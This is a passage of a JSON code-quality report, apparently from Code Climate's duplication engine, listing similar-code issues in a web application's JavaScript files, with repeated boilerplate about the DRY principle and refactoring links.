analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"104c7ee7f9a45a32c42bacfaa5a5f1bc","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/comment_type_toggle.js","lines":{"begin":37,"end":46}},"remediation_points":810000,"other_locations":[{"path":"app/assets/javascripts/comment_type_toggle.js","lines":{"begin":48,"end":57}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 62**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"1f17e867f83499d67ff9ed50b8097db5","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/comment_type_toggle.js","lines":{"begin":48,"end":57}},"remediation_points":810000,"other_locations":[{"path":"app/assets/javascripts/comment_type_toggle.js","lines":{"begin":37,"end":46}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 62**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"1f17e867f83499d67ff9ed50b8097db5","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pipelines/pipeline_details_bundle.js","lines":{"begin":77,"end":84}},"remediation_points":810000,"other_locations":[{"path":"app/assets/javascripts/jobs/job_details_bundle.js","lines":{"begin":27,"end":34}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 62**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"c4a434df3787893bc1f6d897464a8227","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/jobs/job_details_bundle.js","lines":{"begin":27,"end":34}},"remediation_points":810000,"other_locations":[{"path":"app/assets/javascripts/pipelines/pipeline_details_bundle.js","lines":{"begin":77,"end":84}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 62**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"5c1f719b9039c86ffdc704317d783449","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/projects/labels/index/index.js","lines":{"begin":20,"end":24}},"remediation_points":780000,"other_locations":[{"path":"app/assets/javascripts/pages/milestones/shared/promote_milestone_modal_init.js","lines":{"begin":17,"end":21}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 61**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"ab079e1e6bc28e1fc184b520beb34531","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/milestones/shared/promote_milestone_modal_init.js","lines":{"begin":17,"end":21}},"remediation_points":780000,"other_locations":[{"path":"app/assets/javascripts/pages/projects/labels/index/index.js","lines":{"begin":20,"end":24}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 61**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"e7369e08c5971c04639cff93271173af","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/notes/stores/mutations.js","lines":{"begin":56,"end":59}},"remediation_points":750000,"other_locations":[{"path":"app/assets/javascripts/notes/stores/mutations.js","lines":{"begin":61,"end":64}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 60**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"1ad13a005d315ccf15cfe0584579158f","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/notes/stores/mutations.js","lines":{"begin":61,"end":64}},"remediation_points":750000,"other_locations":[{"path":"app/assets/javascripts/notes/stores/mutations.js","lines":{"begin":56,"end":59}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 60**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"1ad13a005d315ccf15cfe0584579158f","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/sessions/new/username_validator.js","lines":{"begin":107,"end":111}},"remediation_points":750000,"other_locations":[{"path":"app/assets/javascripts/pages/sessions/new/username_validator.js","lines":{"begin":113,"end":117}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 60**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"c9228663eecdf0fc1a8dbd811c863e38","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/sessions/new/username_validator.js","lines":{"begin":113,"end":117}},"remediation_points":750000,"other_locations":[{"path":"app/assets/javascripts/pages/sessions/new/username_validator.js","lines":{"begin":107,"end":111}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 60**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"c9228663eecdf0fc1a8dbd811c863e38","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/droplab/hook_button.js","lines":{"begin":33,"end":36}},"remediation_points":720000,"other_locations":[{"path":"app/assets/javascripts/landing.js","lines":{"begin":18,"end":21}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 59**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"0cdcc38394199ec6567937ce812cb5a5","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/landing.js","lines":{"begin":18,"end":21}},"remediation_points":720000,"other_locations":[{"path":"app/assets/javascripts/droplab/hook_button.js","lines":{"begin":33,"end":36}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 59**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"6b06657bea1bfe588af0efba4a2bf57e","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pipelines/pipeline_details_mediator.js","lines":{"begin":26,"end":31}},"remediation_points":720000,"other_locations":[{"path":"app/assets/javascripts/jobs/job_details_mediator.js","lines":{"begin":34,"end":39}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 59**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up 